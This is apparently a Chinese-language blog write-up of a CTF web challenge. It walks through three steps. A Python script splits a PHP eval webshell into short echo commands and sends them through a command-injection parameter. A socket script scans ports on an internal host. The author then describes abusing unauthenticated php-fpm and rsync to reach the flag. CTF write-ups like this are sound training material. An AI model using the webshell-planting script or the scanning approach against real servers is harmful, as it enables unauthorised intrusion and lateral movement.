CTF Web安全

ctf473831530_2018_web_virink_web(php-fpm+rsync)

Posted on 2020-04-17,3 min read

首先就是写shell。。。。
20长度写shell。。这个不多说了

import requests
url='http://9bfd734d-34b7-4182-a97b-46787c16f1eb.node3.buuoj.cn/?cmd='

str1='echo \'<?php\'>7.php'
str2='echo -n \'eva\'>>7.php'
str3='echo -n \'l($\'>>7.php'
str4='echo -n \'_PO\'>>7.php'
str5='echo -n \'ST[\'>>7.php'
str6='echo -n \'c])\'>>7.php'
str7='echo -n \';\'>>7.php'
requests.get(url=url+str1)
requests.get(url=url+str2)
requests.get(url=url+str3)
requests.get(url=url+str4)
requests.get(url=url+str5)
requests.get(url=url+str6)
requests.get(url=url+str7)

算一下md5。得到shell
题目提示FLAG不在这个服务器并且python3
那么我们可以用python3写个东西。探测内网。
buu管理。IP往后推一位就是另一台服务器
cat /etc/hosts得到173.75.112.9
猜测173.75.112.10就是另一台服务器
接下来就扫端口
仿佛又回到了中职技能大赛的时候。。。。这熟悉的脚本

import socket
f=open('port.txt','w')
rhosts='173.75.112.10'
for i in range(65535):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((rhosts,i))
        f.write(str(i)+"\n")
        s.close()
    except:
        pass
f.close()

蚁剑执行。貌似没回显。就一个返回一个ret=2
所以。这里把结果写入port.txt
得到开放端口

80
873
9000

9000。很容易想到是个php-fpm未授权
873。是个rsync未授权
80。不知道干啥的
上传php-fpm的利用脚本。
问题又来了。试了下默认存在的文件。居然不存在
莫非得通过80端口扫文件。然后去php-fpm用?
buu靶机没curl。。。python没requests模块。用urllib模块。莫名无结果。。最后从一篇writeup中找到redirect.php
然后目录应该和本机一样/www/redirect.php
OK。接下来就直接执行命令
这里有又问题。。我蚁剑执行命令没回显???一直就ret=2
手动去执行命令就有回显

好吧。flag没权限读
那就用rsync去读

下一篇: [FireshellCTF2020]URL TO PDF→